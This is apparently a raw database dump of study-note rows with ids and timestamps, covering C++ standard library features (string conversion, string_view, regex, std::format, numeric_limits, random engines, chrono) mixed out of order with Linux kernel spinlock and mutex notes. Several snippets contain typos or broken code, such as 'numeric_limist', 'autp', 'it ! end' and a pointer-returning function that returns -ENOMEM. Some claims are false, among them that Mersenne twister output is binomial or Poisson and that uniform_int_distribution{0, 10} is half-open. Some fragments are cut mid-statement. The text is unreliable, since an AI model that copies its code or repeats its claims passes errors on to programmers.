indicating the base; by default, this is 10. Valid numbers of 2\n to 36. text txt 2024-07-28 09:48:52.904194 -1325 423 template>\nT stoi(std::string const& str, std::size_t* pos = 0, T base = 10); text txt 2024-07-28 09:48:52.925105 -1326 423 template>\nF stof(std::string const& str, std::size_t* pos = 0); code txt 2024-07-28 09:48:52.94633 -1327 424 * A sign, plus (+) or minus (-) (optional)\n* Prefix 0 to indicate an octal base (optional)\n* Prefix 0x or 0X to indicate a hexadecimal base (optional)\n* A sequence of digits text txt 2024-07-28 09:48:53.424476 -1328 424 auto i1 = std::stoi("42"); // 42\nauto i2 = std::stoi(" 42"); // 42\nauto i3 = std::stoi(" 42fortytwo"); // 42\nauto i4 = std::stoi("+42"); // 42\nauto i5 = std::stoi("-42"); // -42 code txt 2024-07-28 09:48:53.44617 -1329 425 - `std::invalid_argument`: conversion cannot be performed.\n- `std::out_of_range`: converted value is outside the range of the result\n type. text txt 2024-07-28 09:48:54.20091 -1330 425 try\n{\n auto i1 = std::stoi("");\n}\ncatch (std::invalid_argument const& exp)\n{\n std::cerr << exp.what() << '\\\\n';\n} text txt 2024-07-28 09:48:54.221671 -1331 425 try\n{\n auto i2 = std::stoi("12345678901234");\n auto i3 = std::stoi("12345678901234");\n}\ncatch (std::out_of_range const& exp)\n{\n std::cerr << exp.what() << '\\\\n';\n} code txt 2024-07-28 09:48:54.242839 -1332 426 - Decimal floating-point expression (optional sign, sequence of decimal\n digits with optional point, optional `e` or `E`, followed by exponent with\n optional sign).\n- Binary floating-point expression (optional sign, `0x` or `0X` prefix,\n sequence of hexadecimal digits with optional point, optional `p` or `P`,\n followed by exponent with optional sign).\n- Infinity expression (optional sign followed by case-insensitive `INF` or\n `INFINITY`).\n- A non-number expression (optional sign followed by case-insensitive `NAN`\n and possibly other alphanumeric characters). text txt 2024-07-28 09:48:54.970496 -1333 426 auto d1 = std::stod("123.45"); // d1 = 123.45000000000000\nauto d2 = std::stod("+123.45"); // d2 = 123.45000000000000\nauto d3 = std::stod("-123.45"); // d3 = -123.45000000000000\nauto d4 = std::stod(" 123.45"); // d4 = 123.45000000000000\nauto d5 = std::stod(" -123.45abc"); // d5 = -123.45000000000000\nauto d6 = std::stod("1.2345e+2"); // d6 = 123.45000000000000\nauto d7 = std::stod("0xF.6E6666p3"); // d7 = 123.44999980926514\nauto d8 = std::stod("INF"); // d8 = inf\nauto d9 = std::stod("-infinity"); // d9 = -inf\nauto d10 = std::stod("NAN"); // d10 = nan\nauto d11 = std::stod("-nanabc"); // d11 = -nan code txt 2024-07-28 09:48:54.993014 -1339 428 #include text txt 2024-07-28 09:48:56.131717 -1336 427 auto s1{ "text"s }; // std::string\nauto s2{ L"text"s }; // std::wstring\nauto s3{ u8"text"s }; // std::u8string\nauto s3{ u"text"s }; // std::u16string\nauto s4{ U"text"s }; // std::u32string text txt 2024-07-28 09:48:55.662145 -3043 1000 To configure `udev`, you have to write a new rule for it in\n`/etc/udev/rules.d/` directory. text txt 2024-07-28 09:53:53.121742 -3047 1001 We can enumerate two synchronization mechanisms, as follows: text txt 2024-07-28 09:53:53.962504 -3050 1001 The operating system performs mutual exclusion by atomically modifying a\nvariable that holds the current state of the resource, making this visible to\nall contenders that might access the variable at the same time. text txt 2024-07-28 09:53:54.024706 -3053 1001 The Linux kernel does not implement conditional variables, but to achieve the\nsame or even better, the kernel provides the following mechanisms: text txt 2024-07-28 09:53:54.087143 -3056 1002 When *CPUB* is running, and task B wants to acquire the spinlock while *CPUA*\nhas already called this spinlock's locking function, *CPUB* will simply spin\naround a `while` loop until the other CPU releases the lock. text txt 2024-07-28 09:53:54.64035 -3059 1003 A spinlock operates by disabling the scheduler on the local CPU. text txt 2024-07-28 09:53:55.078158 -3062 1004 A spinlock is created either statically using a `DEFINE_SPINLOCK` macro: text txt 2024-07-28 09:53:55.933935 -3066 1004 struct bigger_struct {\n spinlock_t lock;\n unsigned int foo;\n [...]\n};\nstatic struct bigger_struct *fake_init_function()\n{\n struct bigger_struct *bs;\n bs = kmalloc(sizeof(struct bigger_struct), GFP_KERNEL);\n if (!bs)\n return -ENOMEM;\n spin_lock_init(&bs->lock);\n return bs;\n} code txt 2024-07-28 09:53:56.017358 -3069 1006 Though a spinlock prevents preemption on the local CPU, it does not prevent\nthis CPU from being hogged by an interrupt. text txt 2024-07-28 09:53:56.835728 -3072 1007 static void spin_unlock_irq(spinlock_t *lock)\nstatic void spin_lock_irq(spinlock_t *lock) code txt 2024-07-28 09:53:57.31237 -3074 1009 To achieve this, the kernel provides `_irqsave` variant functions that behave\nexactly like the `_irq` ones, with saving and restoring interrupts status\nfeatures in addition. These are `spin_lock_irqsave()` and\n`spin_lock_irqrestore()`, defined as follows: text txt 2024-07-28 09:53:58.323707 -3076 1010 `spin_lock()` and all its variants automatically call `preempt_disable()`,\nwhich disables preemption on the local CPU, while `spin_unlock()` and its\nvariants call `preempt_enable()`, which tries to enable preemption, and which\ninternally calls `schedule()` if enabled depending on the current value of\nthe counter, whose current value should be 0.
It tries because it\ndepends on whether other spinlocks are locked, which would affect the value\nof the preemption counter. `spin_unlock()` is then a preemption point and\nmight re-enable preemption.\nThough disabling interrupts may prevent kernel preemption nothing prevents\nthe protected section from invoking the `schedule()` function. The kernel\ndisables or enables the scheduler, and thus preemtion, by increasing or\ndecreasing a kernel global and per-CPU variable called `preempt_count` with 0\nas default value. This variable is checked by the `schedule()` function and\nwhen it is greater than 0, the scheduler simply returns and does nothing.\nThis variable is incremented at each invocation of a `spin_lock*()` family\nfunction. On the other side, releasing a spinlock decrements it from 1, and\nwhenever it reaches 0, the scheduler is invoked, meaning that your critical\nsection would not be that atomic. text txt 2024-07-28 09:53:58.831688 -3077 1011 Thus, disabling interrupts protects you from kernel preemption only in cases\nwhere the protected code does not trigger preemption itself. That said, code\nthat locked a spinlock may not sleep as there would be no way to wake it up\nas timer interrupts and/or schedulers are disabled on the local CPU.\nSuch methods try to acquire the lock and immediately return a status value,\nshowing whether the lock has been successfully locked or not. text txt 2024-07-28 09:53:59.779518 -3079 1011 Both methods return 0 on failure (the lock is already locked) or 1 on success\n(lock acquired). Thus, it makes sense to use these functions along with an if\nstatement: text txt 2024-07-28 09:53:59.822588 -3081 1011 `spin_trylock()` will lock the spinlock if it is not already locked, just as\nthe `spin_lock()` method does. However, it immediately returns 0 without\nspinning in cases where the spinlock is already locked: text txt 2024-07-28 09:53:59.864308 -3083 1011 static void foo(void)\n{\n if (!spin_trylock(&foo_lock)) {\n /* Failure! the spinlock is already locked */\n return;\n } text txt 2024-07-28 09:53:59.904437 -3084 1011 /*\n * reaching this part of the code means that the\n * spinlock has been successfully locked\n */\n spin_unlock(&foo_lock);\n} code txt 2024-07-28 09:53:59.925429 -3085 1012 It behaves exactly like a *spinlock*, with the only difference being that\nyour code can sleep. A spinlock is a lock held by a CPU, a mutex, on the\nother hand, is a lock held by a task. text txt 2024-07-28 09:54:00.588951 -3086 1012 A mutex is a simple data structure that embeds a wait queue to put contenders\nto sleep and a spinlock to protect access to this wait queue. text txt 2024-07-28 09:54:00.609619 -3087 1012 struct mutex {\n atomic_long_t owner;\n spinlock_t wait_lock;\n#ifdef CONFIG_MUTEX_SPIN_ON_OWNER\n struct optimistic_spin_queue osq; /* Spinner MCS lock */\n#endif\n struct list_head wait_list;\n [...]\n}; code txt 2024-07-28 09:54:00.631257 -3089 1013 As for other kernel core data structures, there is a static initialization: text txt 2024-07-28 09:54:01.384855 -3090 1013 static DEFINE_MUTEX(my_mutex); code txt 2024-07-28 09:54:01.408168 -3091 1013 A second approach the kernel offers is dynamic initialization, possible\nthanks to a call to a `__mutex_init()` low-level function, which is actually\nwrapped by a much more user-friendly macro, `mutex_init()`. text txt 2024-07-28 09:54:01.428732 -3092 1013 struct fake_data {\n struct i2c_client *client;\n u16 reg_conf;\n struct mutex mutex;\n}; text txt 2024-07-28 09:54:01.448918 -3093 1013 static int fake_probe(struct i2c_client *client)\n{\n [...]\n mutex_init(&data->mutex);\n [...]\n} code txt 2024-07-28 09:54:01.470479 -3094 1014 Acquiring (aka locking) a mutex is as simple as calling one of the following\nthree functions: text txt 2024-07-28 09:54:02.120608 -3095 1014 void mutex_lock(struct mutex *lock);\nint mutex_lock_interruptible(struct mutex *lock);\nint mutex_lock_killable(struct mutex *lock); code txt 2024-07-28 09:54:02.141709 -3096 1014 With `mutex_lock()`, your task will be put in an uninterruptible sleep state\n(`TASK_UNINTERRUPTIBLE`) while waiting for the mutex to be released if it is\nheld by another task. text txt 2024-07-28 09:54:02.162269 -3097 1014 `mutex_lock_interruptible()` will put your task in an interruptible sleep\nstate, in which the sleep can be interrupted by any signal. text txt 2024-07-28 09:54:02.182154 -3098 1014 `mutex_lock_killable()` will allow your sleeping task to be interrupted only\nby signals that actually kill the task. text txt 2024-07-28 09:54:02.201818 -3099 1014 Each of these functions returns 0 if the lock has been acquired successfully.\nMoreover, interruptible variants return `-EINTR` when the locking attempt was\ninterrupted by a signal. text txt 2024-07-28 09:54:02.222421 -3100 1015 Whichever locking function is used, only the mutex owner should release the\nmutex using `mutex_unlock()`: text txt 2024-07-28 09:54:02.615594 -3101 1015 void mutex_unlock(struct mutex *lock); code txt 2024-07-28 09:54:02.63646 -1340 428 using namespace std::string_literals; text txt 2024-07-28 09:48:56.151439 -1341 428 auto filename { R"(C:\\\\Users\\\\Brian\\\\Documents\\\\)"s };\nauto pattern { R"((\\\\w[\\\\w\\\\d]*)=(\\\\d+))"s }; code txt 2024-07-28 09:48:56.173321 -1342 429 #include text txt 2024-07-28 09:48:56.744062 -1343 429 using namespace std::string_literals; text txt 2024-07-28 09:48:56.765548 -1344 429 auto s1{ R"(text)"s }; // std::string\nauto s2{ LR"(text)"s }; // std::wstring\nauto s3{ u8R"(text)"s }; // std::u8string\nauto s3{ uR"(text)"s }; // std::u16string\nauto s4{ UR"(text)"s }; // std::u32string text txt 2024-07-28 09:48:56.786935 -1345 429 using namespace std::string_view_literals; text txt 2024-07-28 09:48:56.807512 -1346 429 auto s5{ R"text"sv }; // std::string_view code txt 2024-07-28 09:48:56.828395 -1347 430 Passing `std::basic_string_view` to functions and returning\n`std::basic_string_view` still creates temporaries of this type, but these\nare small-sized objects on the stack (a pointer and a size could be 16 bytes\nfor 64-bit platforms); therefore, they should incur fewer performance costs\nthan allocating heap space and copying data. text txt 2024-07-28 09:48:57.487358 -1348 430 #include text txt 2024-07-28 09:48:57.508818 -1349 430 std::string_view trim_view(std::string_view str)\n{\n auto const pos1{ str.find_first_not_of(" ") };\n auto const pos2{ str.find_last_not_of(" ") };\n str.remove_suffix(str.length() - pos2 - 1);\n str.remove_prefix(pos1);\n return str;\n} text txt 2024-07-28 09:48:57.529348 -1350 430 auto sv1{ trim_view("sample") };\nauto sv2{ trim_view(" sample") };\nauto sv3{ trim_view("sample ") };\nauto sv4{ trim_view(" sample ") }; code txt 2024-07-28 09:48:57.549508 -1351 431 #include text txt 2024-07-28 09:48:57.909122 -1352 431 std::string_view message{" something to show "}; text txt 2024-07-28 09:48:57.928415 -1353 431 std::size_t suffix{ str.find_last_not_of(" ") };\nstd::size_t prefix{ str.find_first_not_of(" ") }; code txt 2024-07-28 09:48:57.949384 -1354 432 #include text txt 2024-07-28 09:48:58.368724 -1355 432 std::string_view message{" something to show "}; text txt 2024-07-28 09:48:58.390496 -1356 432 std::size_t suffix{ str.find_last_not_of(" ") };\nstd::size_t prefix{ str.find_first_not_of(" ") }; text txt 2024-07-28 09:48:58.411204 -1357 432 str.remove_suffix(str.length() - pos2 - 1);\nstr.remove_prefix(pos1); code txt 2024-07-28 09:48:58.432423 -1358 433 Converting from an `std::basic_string_view` to an `std::basic_string` is not\npossible. You must explicitly construct an `std::basic_string` object from a\n`std::basic_string_view`. text txt 2024-07-28 09:48:58.818153 -1359 433 std::string_view sv{ "demo" };\nstd::string s{ sv }; code txt 2024-07-28 09:48:58.839474 -1360 434 C++20 added prefix and suffix checking methods: starts_with and ends_with to both std::string and std::string_view. text txt 2024-07-28 09:48:59.47241 -1361 434 #include \n#include text txt 2024-07-28 09:48:59.493116 -1362 434 std::string str("the quick brown fox jumps over the lazy dog");\nbool t1 = str.starts_with("the quick"); // const char* overload\n // t1 == true\nbool t2 = str.ends_with('g'); // char overload\n // t2 == true text txt 2024-07-28 09:48:59.513794 -1363 434 std::string_view needle = "lazy dog";\nbool t3 = str.ends_with(needle); // string_view overload\n // t3 == true text txt 2024-07-28 09:48:59.53471 -1364 434 std::string_view haystack = "you are a lazy cat";\n// both starts_with and ends_with also available for string_view\nbool t4 = haystack.ends_with(needle);\n// t4 == false code txt 2024-07-28 09:48:59.555859 -1365 435 - You cannot format objects of user-defined types with printf. text txt 2024-07-28 09:48:59.777473 -1366 436 `std::format` supports positional arguments i.e. referring to an argument by\nits index separated from format specifiers by the `:` character. text txt 2024-07-28 09:49:00.153432 -1367 436 #include \n#include text txt 2024-07-28 09:49:00.174405 -1368 436 std::clog << std::format("{0:02x} {1:02x} {2:02x}\\\\n", v0, v1, v2); code txt 2024-07-28 09:49:00.195387 -1369 437 #include text txt 2024-07-28 09:49:00.492986 -1370 437 std::format("{02x}\\\\n", value); code txt 2024-07-28 09:49:00.511913 -1371 438 #include \n#include text txt 2024-07-28 09:49:01.133278 -1372 438 enum class color_code : std::uint_least8_t {}; text txt 2024-07-28 09:49:01.15405 -1373 438 std::ostream& operator<<(std::ostream& os, color_code s)\n{\n return os << std::setfill('0') << std::setw(2) << std::hex << static_cast(s);\n} text txt 2024-07-28 09:49:01.174317 -1374 438 template <>\nstruct std::formatter : std::formatter\n{\n auto format(color_code const& code, format_context& ctx) {\n return format_to(ctx.out(), "{:02x}", static_cast(code));\n }\n}; text txt 2024-07-28 09:49:01.194726 -1375 438 std::format("{}\\\\n", color_code); code txt 2024-07-28 09:49:01.215849 -1376 439 #include \n#include text txt 2024-07-28 09:49:01.525339 -1377 439 std::format("{:%F %T} UTC", std::chrono::system_clock::now()); code txt 2024-07-28 09:49:01.545516 -1378 440 #include \n#include text txt 2024-07-28 09:49:01.845766 -1379 440 std::print("{} <{}>", "Brian Salehi", "salehibrian@gmail.com"); code txt 2024-07-28 09:49:01.865153 -1380 441 #include \n#include text txt 2024-07-28 09:49:02.303932 -1381 441 using namespace std::string_literals; text txt 2024-07-28 09:49:02.324158 -1382 441 std::string pattern{R"(...)"}; text txt 2024-07-28 09:49:02.344938 -1383 441 std::regex srx{pattern};\nstd::regex lrx{R"(...)"s}; code txt 2024-07-28 09:49:02.365336 -1384 442 std::regex irx{R"(...)"s, std::regex_constants::icase}; code txt 2024-07-28 09:49:02.64907 -1385 443 #include \n#include text txt 2024-07-28 09:49:03.463197 -1386 443 template\nusing tstring = std::baisc_string, std::allocator>; text txt 2024-07-28 09:49:03.483652 -1387 443 template\nusing tregex = std::basic_regex; text txt 2024-07-28 09:49:03.505512 -1388 443 template\nbool matches(tstring const& text, tstring const& pattern)\n{\n std::basic_regex rx{pattern, std::regex_constants::icase};\n return std::regex_match(text, rx);\n} text txt 2024-07-28 09:49:03.526991 -1389 443 int main()\n{\n std::string text{R"(https://github.com - https://github.com/briansalehi/references)"};\n std::string pattern{R"((\\\\w+)://([\\\\w.]+)/([\\\\w\\\\d._-]+)/([\\\\w\\\\d._-]+)[.git]?)"}; text txt 2024-07-28 09:49:03.549389 -1390 443 if(matches(text, pattern))\n std::cout << text << '\\\\n';\n else\n std::cerr << "invalid repository link!\\\\n";\n} code txt 2024-07-28 09:49:03.570144 -1391 444 The `std::regex_match()` method has overloads that take a reference to a\n`std::match_results` object to store the result of the match. text txt 2024-07-28 09:49:04.734617 -1392 444 If there is no match, then `std::match_results` is empty and its size is 0.\nOtherwise, its size is 1, plus the number of matched subexpressions. text txt 2024-07-28 09:49:04.755407 -1433 450 return latest_minimum;\n} code txt 2024-07-28 09:49:10.205897 -1901 563 #include \n#include \n#include \n#include text txt 2024-07-28 09:50:25.882925 -1393 444 The class template `std::sub_match` represents a sequence of characters that\nmatches a capture group; this class is actually derived from std::pair, and\nits first and second members represent iterators to the first and the one-\npast-end characters in the match sequence. If there is no match sequence, the\ntwo iterators are equal: text txt 2024-07-28 09:49:04.77727 -1394 444 * `typedef sub_match csub_match;`\n* `typedef sub_match wcsub_match;`\n* `typedef sub_match ssub_match;`\n* `typedef sub_match wssub_match;` text txt 2024-07-28 09:49:04.797473 -1395 444 The class template `std::match_results` is a collection of matches; the first\nelement is always a full match in the target, while the other elements are\nmatches of subexpressions: text txt 2024-07-28 09:49:04.819322 -1396 444 * `typedef match_results cmatch;`\n* `typedef match_results wcmatch;`\n* `typedef match_results smatch;`\n* `typedef match_results wsmatch;` text txt 2024-07-28 09:49:04.839906 -1397 444 #include \n#include text txt 2024-07-28 09:49:04.859582 -1398 444 int main()\n{\n std::string text{R"(https://github.com - https://github.com/briansalehi/references)"};\n std::string pattern{R"((\\\\w+)://([\\\\w.]+)/([\\\\w\\\\d._-]+)/([\\\\w\\\\d._-]+)[.git]?)"}; text txt 2024-07-28 09:49:04.880622 -1399 444 std::regex rx{pattern, std::regex_constants::icase};\n std::smatch matches;\n bool matched = std::regex_match(text, matches, rx); text txt 2024-07-28 09:49:04.901556 -1400 444 if (auto [match, protocol, domain, username, project] = matches; matched)\n std::cout << project << " owned by " << username\n << " hosted on " << domain\n << " using " << protocol << " protocol\\\\n"; code txt 2024-07-28 09:49:04.922474 -1401 445 The C++ standard library supports six regular expression engines: text txt 2024-07-28 09:49:05.461067 -1402 445 * ECMAScript (default)\n* basic POSIX\n* extended POSIX\n* awk\n* grep\n* egrep (grep with the option -E) text txt 2024-07-28 09:49:05.481883 -1403 445 #include text txt 2024-07-28 09:49:05.501822 -1404 445 std::regex pattern{R"(...)", std::regex_constants::egrep}; code txt 2024-07-28 09:49:05.522224 -1405 446 #include \n#include text txt 2024-07-28 09:49:06.305757 -1406 446 std::string text {\nR"(\n# server address\naddress = 123.40.94.215\nport=22 text txt 2024-07-28 09:49:06.327505 -1407 446 # time to live\nttl = 5\n)"}; text txt 2024-07-28 09:49:06.347431 -1408 446 int main()\n{\n std::string pattern{R"(^(?!#)(\\\\w+)\\\\s*=\\\\s*([\\\\w\\\\d]+[\\\\w\\\\d._,:-]*)$)"};\n std::regex rx{pattern, std::regex_constants::icase};\n std::smatch match{}; text txt 2024-07-28 09:49:06.36908 -1409 446 if (std::string variable, value; std::regex_search(text, match, rx))\n {\n variable = match[1];\n value = match[2];\n }\n} code txt 2024-07-28 09:49:06.391495 -1410 447 The iterators available in the regular expressions standard library are as\nfollows: text txt 2024-07-28 09:49:07.915783 -1411 447 * `std::regex_interator`: A constant forward iterator used to iterate through\n the occurrences of a pattern in a string. It has a pointer to an\n `std::basic_regex` that must live until the iterator is destroyed. Upon\n creation and when incremented, the iterator calls `std::regex_search()` and\n stores a copy of the `std::match_results` object returned by the algorithm.\n* `std::regex_token_iterator`: A constant forward iterator used to iterate\n through the submatches of every match of a regular expression in a string.\n Internally, it uses a `std::regex_iterator` to step through the submatches.\n Since it stores a pointer to an `std::basic_regex` instance, the regular\n expression object must live until the iterator is destroyed. text txt 2024-07-28 09:49:07.939133 -1412 447 The token iterators can return the unmatched parts of the string if the index\nof the subexpressions is -1, in which case it returns an `std::match_results`\nobject that corresponds to the sequence of characters between the last match\nand the end of the sequence: text txt 2024-07-28 09:49:07.96024 -1413 447 #include \n#include text txt 2024-07-28 09:49:07.980177 -1414 447 std::string text {\nR"(\n# server address\naddress = 123.40.94.215\nport=22 text txt 2024-07-28 09:49:08.000833 -1415 447 # time to live\nttl = 5\n)"}; text txt 2024-07-28 09:49:08.021485 -1416 447 int main()\n{\n std::string pattern{R"(^(?!#)(\\\\w+)\\\\s*=\\\\s*([\\\\w\\\\d]+[\\\\w\\\\d._,:-]*)$)"};\n std::regex rx{pattern, std::regex_constants::icase};\n std::sregex_iterator end{}; text txt 2024-07-28 09:49:08.042548 -1417 447 // iterate through regex matches\n for (auto it = std::sregex_iterator{std::begin(text), std::end(text), rx};\n it ! end; ++it)\n {\n std::string variable = (*it)[1];\n std::string value = (*it)[2];\n } text txt 2024-07-28 09:49:08.063166 -1418 447 // iterate through unmatched tokens\n for (auto it = std::sregex_iterator{std::begin(text), std::end(text), rx, -1};\n it ! end; ++it)\n {\n std::string variable = (*it)[1];\n std::string value = (*it)[2];\n } text txt 2024-07-28 09:49:08.084537 -1419 447 // iterate through tokens of regex matches\n std::sregex_token_iterator tend{};\n for (auto it = std::sregex_token_iterator{std::begin(text), std::end(text), rx};\n it ! tend; ++it)\n {\n std::string token = *it;\n }\n} code txt 2024-07-28 09:49:08.105455 -1420 448 #include \n#include text txt 2024-07-28 09:49:08.558622 -1421 448 int main()\n{\n std::string text{"this is a example with a error"};\n std::regex rx{R"(\\\\ba ((a|e|i|o|u)\\\\w+))"};\n std::regex_replace(text, rx, "an $1");\n} code txt 2024-07-28 09:49:08.580007 -1422 449 Apart from the identifiers of the subexpressions (`$1`, `$2`, and so on),\nthere are other identifiers for the entire match (`$&`), the part of the\nstring before the first match ($\\\\`), and the part of the string after the\nlast match (`$'`). text txt 2024-07-28 09:49:09.099723 -1423 449 #include \n#include text txt 2024-07-28 09:49:09.120376 -1424 449 int main()\n{\n std::string text{"current date: 3 10 2022"};\n std::regex pattern{R"((\\\\d{1,2})\\\\s*(\\\\d{1,2})\\\\s*(\\\\d{2,4}))"};\n std::string reformatted = std::regex_replace(text, pattern, R"([$`] $2 $1 $3 [$'])");\n} code txt 2024-07-28 09:49:09.141424 -1425 450 Standard types that are not arithmetic types, such as `std::complex` or\n`std::nullptr_t`, do not have `std::numeric_limits` specializations. text txt 2024-07-28 09:49:10.043176 -1426 450 #include text txt 2024-07-28 09:49:10.063408 -1427 450 auto min_int = std::numeric_limits::min();\nauto max_int = std::numeric_limits::max(); text txt 2024-07-28 09:49:10.084329 -1428 450 auto min_double = std::numeric_limits::min();\nauto low_double = std::numeric_limits::lowest();\nauto max_double = std::numeric_limits text txt 2024-07-28 09:49:10.144701 -1431 450 template\nT minimum(Iter const start, Iter const end)\n{\n T latest_minimum = std::numeric_limits::max(); text txt 2024-07-28 09:49:10.164447 -1432 450 for (autp i = start; i < end; ++i)\n if (*i < latest_minimum)\n latest_minimum = *i; text txt 2024-07-28 09:49:10.184975 -1434 451 `digits` represents the number of bits (excluding the sign bit if present)\nand padding bits (if any) for integral types and the number of bits of the\nmantissa for floating-point types. text txt 2024-07-28 09:49:10.69293 -1435 451 #include text txt 2024-07-28 09:49:10.713393 -1436 451 auto s = std::numeric_limits::digits;\nauto d = std::numeric_limits::digits; code txt 2024-07-28 09:49:10.734611 -1437 452 #include text txt 2024-07-28 09:49:11.124051 -1438 452 auto s = std::numeric_limits::digits10;\nauto d = std::numeric_limits::digits10; code txt 2024-07-28 09:49:11.143339 -1439 453 #include text txt 2024-07-28 09:49:11.502615 -1440 453 auto value_is_signed = std::numeric_limist::is_signed; code txt 2024-07-28 09:49:11.52406 -1441 454 #include text txt 2024-07-28 09:49:11.877154 -1442 454 auto value_is_integer = std::numeric_limist::is_integer; code txt 2024-07-28 09:49:11.897741 -1443 455 #include text txt 2024-07-28 09:49:12.260637 -1444 455 auto value_is_exact = std::numeric_limist::is_exact; code txt 2024-07-28 09:49:12.280032 -1445 456 #include text txt 2024-07-28 09:49:12.609411 -1446 456 auto value_has_infinity = std::numeric_limist::has_infinity; code txt 2024-07-28 09:49:12.629795 -1447 457 #include text txt 2024-07-28 09:49:13.035705 -1448 457 using namespace std::complex_literals; text txt 2024-07-28 09:49:13.055301 -1449 457 auto c{ 12.0 + 4.2i }; // std::complex code txt 2024-07-28 09:49:13.075705 -1450 458 Except for `random_device`, all engines produce numbers in a uniform distribution. text txt 2024-07-28 09:49:13.491277 -1451 458 #include text txt 2024-07-28 09:49:13.512169 -1452 458 auto min = std::mt19937::min();\nauto max = std::mt19937::max(); code txt 2024-07-28 09:49:13.533412 -1453 459 Random generators can be seeded using their constructors or the `seed()`\nmethod. Note that `random_device` cannot be seeded. text txt 2024-07-28 09:49:14.060533 -1454 459 #include text txt 2024-07-28 09:49:14.081311 -1455 459 std::random_device seeder;\nstd::mt19937 generator1{seeder()}; text txt 2024-07-28 09:49:14.103408 -1456 459 std::mt19937 generator2;\ngenerator2.seed(seeder()); code txt 2024-07-28 09:49:14.124494 -1457 460 The function call operators of random engines are overloaded and generate a\nnew number uniformly distributed between `min()` and `max()`: text txt 2024-07-28 09:49:14.622394 -1458 460 #include text txt 2024-07-28 09:49:14.643461 -1459 460 std::random_device seeder;\nstd::mt19937 generator{seeder()};\nauto number = generator(); code txt 2024-07-28 09:49:14.665309 -1460 461 #include text txt 2024-07-28 09:49:15.045216 -1461 461 std::mt19937 generator{};\ngenerator.discard(4); // discard 4 numbers code txt 2024-07-28 09:49:15.065887 -1462 462 The Mersenne twister engine has a bias toward producing some values\nrepeatedly and omitting others, thus generating numbers not in a uniform\ndistribution, but rather in a binomial or Poisson distribution. text txt 2024-07-28 09:49:15.686428 -1463 462 #include \n#include text txt 2024-07-28 09:49:15.707636 -1464 462 int main()\n{\n std::random_device seeder; text txt 2024-07-28 09:49:15.727749 -1465 462 std::array seed_data{};\n std::generate(std::begin(seed_data), std::end(seed_data), std::ref(seeder));\n std::seed_seq seeds(std::begin(seed_data), std::end(seed_data));\n std::mt19937 generator{seeds};\n std::uniform_int_distribution<> dist{0, 10}; // [0, 10)\n int random_number = dist(generator);\n} code txt 2024-07-28 09:49:15.749516 -1466 463 Difference of time points is a duration. text txt 2024-07-28 09:49:16.295539 -1467 463 #include \n#include text txt 2024-07-28 09:49:16.316777 -1468 463 using namespace std::chrono_literals; text txt 2024-07-28 09:49:16.337121 -1469 463 auto tp1 = std::chrono::steady_clock::now();\nstd::this_thread::sleep_for(1ms);\nauto tp2 = std::chrono::steady_clock::now(); text txt 2024-07-28 09:49:16.357419 -1470 463 auto duration = tp2 - tp1;\nstd::cout << duration << "\\\\n";\n// example output: 1115389ns code txt 2024-07-28 09:49:16.3791 -1471 464 #include \n#include text txt 2024-07-28 09:49:16.876751 -1472 464 using namespace std::chrono_literals; text txt 2024-07-28 09:49:16.89764 -1473 464 auto tp1 = std::chrono::steady_clock::now();\nstd::this_thread::sleep_for(1ms);\nauto tp2 = std::chrono::steady_clock::now(); text txt 2024-07-28 09:49:16.918559 -1474 464 // explicit type of duration, base type double, with micro precision\nstd::chrono::duration sleep_duration = tp2 - tp1;\nstd::cout << sleep_duration << "\\\\n";\n// example output: 1115.39µs code txt 2024-07-28 09:49:16.941761 -1475 465 Duractions can be converted between each other using `duration_cast`. text txt 2024-07-28 09:49:17.450555 -1476 465 #include \n#include text txt 2024-07-28 09:49:17.472587 -1477 465 using namespace std::chrono_literals; text txt 2024-07-28 09:49:17.493318 -1478 465 auto tp1 = std::chrono::steady_clock::now();\nstd::this_thread::sleep_for(1ms);\nauto tp2 = std::chrono::steady_clock::now(); text txt 2024-07-28 09:49:17.51469 -1479 465 auto micro = std::chrono::duration_cast(tp2 - tp1);\nstd::cout << micro << "\\\\n";\n// example output: 1115µs code txt 2024-07-28 09:49:17.535712 -1480 466 #include text txt 2024-07-28 09:49:17.851207 -1481 466 bool system_is_steady = std::chrono::system_clock::is_steady; code txt 2024-07-28 09:49:17.872054 -1482 467 #include text txt 2024-07-28 09:49:18.137106 -1483 467 auto resolution = std::chrono::system_clock::duration{1}; code txt 2024-07-28 09:49:18.157148 -1484 468 #include text txt 2024-07-28 09:49:18.595973 -1485 468 using namespace std::chrono_literals; text txt 2024-07-28 09:49:18.615466 -1486 468 auto timer {2h + 42min + 15s}; // std::chrono::duration text txt 2024-07-28 09:49:18.636698 -1487 468 auto year { 2035y }; // std::chrono::year (c++20)\nauto day { 15d }; // std::chrono::day (c++20) code txt 2024-07-28 09:49:18.656694 -1488 469 - `operator""y`\n- `operator""d` text txt 2024-07-28 09:49:18.920083 -1489 470 // A day in a year can be specified using literals and operator/\nauto christmas_eve = 2023y/std::chrono::December/24d;\n// decltype(christmas_eve) == std::chrono::year_month_day text txt 2024-07-28 09:49:19.271953 -1490 470 auto specific_day = std::chrono::weekday{std::chrono::sys_days{christmas_eve}};\n// specific_day == std::chrono::Sunday code txt 2024-07-28 09:49:19.293242 -1491 471 #include text txt 2024-07-28 09:49:19.64946 -1492 471 auto date{2024y/std::chrono::April/1d};\nfor (; date.month() == std::chrono::April; date += std::chrono::days{1})\n{\n // iterate over all days in April 2024\n} code txt 2024-07-28 09:49:19.670721 -1493 472 #include \n#include \n#include text txt 2024-07-28 09:49:20.366016 -1494 472 int main(int argc, char** argv)\n{\n char const* file_path{argv[0]}; text txt 2024-07-28 09:49:20.386552 -1495 472 struct stat file_stat; text txt 2024-07-28 09:49:20.406628 -1533 481 // we have two separate parallel execution\n std::transform(std::execution::par, numbers.begin(), numbers.end());\n std::reduce(std::execution::par, numbers.begin(), numbers.end()); text txt 2024-07-28 09:49:26.721619 -1496 472 if (stat(file_path, &file_stat) == 0)\n {\n std::time_t mod_time{file_stat.st_mtime};\n char* str{std::asctime(std::localtime(&mod_time))};\n std::cout << "Last modification time: " << str;;\n }\n else\n {\n std::cerr << "File status retrival failed\\\\n";\n }\n} code txt 2024-07-28 09:49:20.428222 -1497 473 We have one free function and a member function in `directory_entry`.\nThey both return file_time_type which in C++17 is defined as: text txt 2024-07-28 09:49:20.928923 -1498 473 // C++17\nusing file_time_type = std::chrono::time_point; code txt 2024-07-28 09:49:20.949159 -1499 473 *Sample*\nauto filetime = std::filesystem::last_write_time(myPath);\nconst auto toNow = std::filesystem::file_time_type::clock::now() - filetime;\nconst auto elapsedSec = duration_cast(toNow).count(); code txt 2024-07-28 09:49:20.971189 -1500 474 // C++17\nusing file_time_type = std::chrono::time_point; text txt 